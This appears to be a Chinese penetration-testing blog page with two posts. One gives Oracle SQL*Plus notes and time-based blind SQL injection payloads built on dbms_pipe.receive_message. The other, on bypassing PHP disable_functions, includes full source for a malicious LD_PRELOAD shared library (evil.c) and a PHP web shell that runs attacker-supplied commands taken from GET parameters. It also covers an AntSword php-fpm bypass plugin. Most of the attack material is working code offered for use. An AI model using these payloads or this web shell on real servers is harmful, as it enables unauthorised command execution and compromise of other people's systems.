常用数据表:

  • dba用户表:dba_users
  • dba表空间表:dba_tablespaces
  • 版本号表:product_component_version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
PS C:\Users\admin> sqlplus

SQL*Plus: Release 11.2.0.2.0 Production on 星期四 9月 24 11:54:09 2020

Copyright (c) 1982, 2014, Oracle. All rights reserved.

请输入用户名: sys as sysdba
输入口令:

连接到:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

//create user xxxxx(用户名) identified by "密码"
//grant dba to 用户名 --给用户赋予所有权限,connect是赋予连接数据库的权限,resource 是赋予用户只可以创建实体但是没有创建数据结构的权限。

//切换用户
SQL> conn scott
输入口令: 123456
已连接。

//查看当前用户==show user
SQL> select user from dual;

USER
------------------------------------------------------------
SCOTT

//查看数据库版本
SQL> select product, version from product_component_version where substr(product, 1, 6)='Oracle';

PRODUCT
--------------------------------------------------------------------------------
VERSION
--------------------------------------------------------------------------------
Oracle Database 11g Express Edition
11.2.0.2.0

//使用host命令可以执行系统命令
SQL> host whoami
desktop-3o58k0a\admin

//创建表
SQL> create table t_user(id number(10) primary key, name varchar2(20));

表已创建。

//插入
SQL> insert into t_user(id, name) values(1, '123'); //必须是单引号?双引号就报错

已创建 1 行。

//有更新一定要commit
SQL>COMMIT;

//查看所有表空间
SQL> select tablespace_name from dba_tablespaces;

TABLESPACE_NAME
------------------------------------------------------------
SYSTEM
SYSAUX
UNDOTBS1
TEMP
USERS

//查看当前用户的表
SQL> select table_name from user_tables where rownum < 5;

TABLE_NAME
------------------------------------------------------------
ICOL$
IND$
COL$
CLU$

//延时函数dbms_pipe.receive_message:从rds(可任意命名)管道等待4秒钟
SQL> select dbms_pipe.receive_message('rds', 4) from dual;

DBMS_PIPE.RECEIVE_MESSAGE('RDS',4)
----------------------------------
1
//查询ip地址
SQL> select utl_inaddr.get_host_address from dual;

GET_HOST_ADDRESS
--------------------------------------------------------------------------------
fe80::35db:b13e:5850:3ca3%3

语法

1
2
3
4
decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值) //作用与if类似
substr(user, 1, 1)
ascii('a')
dbms_pipe.receive_message(任意管道名, 等待时间)

Payloads

1
2
3
4
time-based
2'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('f',3)='f
2'/**/and/**/(select decode(length(user),6,dbms_pipe.receive_message('RDS',5),0) from dual)='1
2'/**/and/**/(select decode(ascii(substr(user,1,1)), 128, dbms_pipe.receive_message('RDS',5),0) from dual)='1
  • Oracle注入 - 命令执行&Shell反弹

绕过disable_functions实战

发表于 2020-09-04 | 分类于 WEB安全

0x01 LD_PRELOAD

前提:putenv没有禁用

evil.c上传至目标服务器并编译为evil.so

gcc -shared -fPIC evil.c -o evil.so

evil.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

上传test.php至目标服务器,访问时传入三个参数命令、输出文件(需存在于服务器上,没有不会创建)、so文件。执行成功后,会在输出文件中看到命令执行结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "<p> <b>example</b>: http://site.com/test.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/evil.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

参考链接

  • 一次艰难的渗透提权过程
  • https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

0x02 php-fpm

使用蚁剑 bypass_disable_functions插件。

前提:phpinfo中的server api是FPM/FastCGI,并且需要知道FPM/FCGI Address,也就是php-cgi-xx.sock,可以去猜测。蚁剑默认的地址不一定是对的。

image

在插件市场下载插件,然后右键选择:

image

image

选择Fastcgi/PHP_FPM模式,填写PPM/FCGI 地址,然后点击开始即可:

image

之后再用蚁剑连接上传成功的.antproxy.php文件地址,就可以在虚拟终端执行命令了。

更多姿势

  • lemon绕过disable_functions合辑
  • pcntl_exec()没有被禁用
  • 更多PHP7下绕过姿势
12<i class="fa fa-angle-right"></i>

17 日志
6 分类
16 标签
© 2021 欣海余诚
本站总访问量次 | 本站访客数人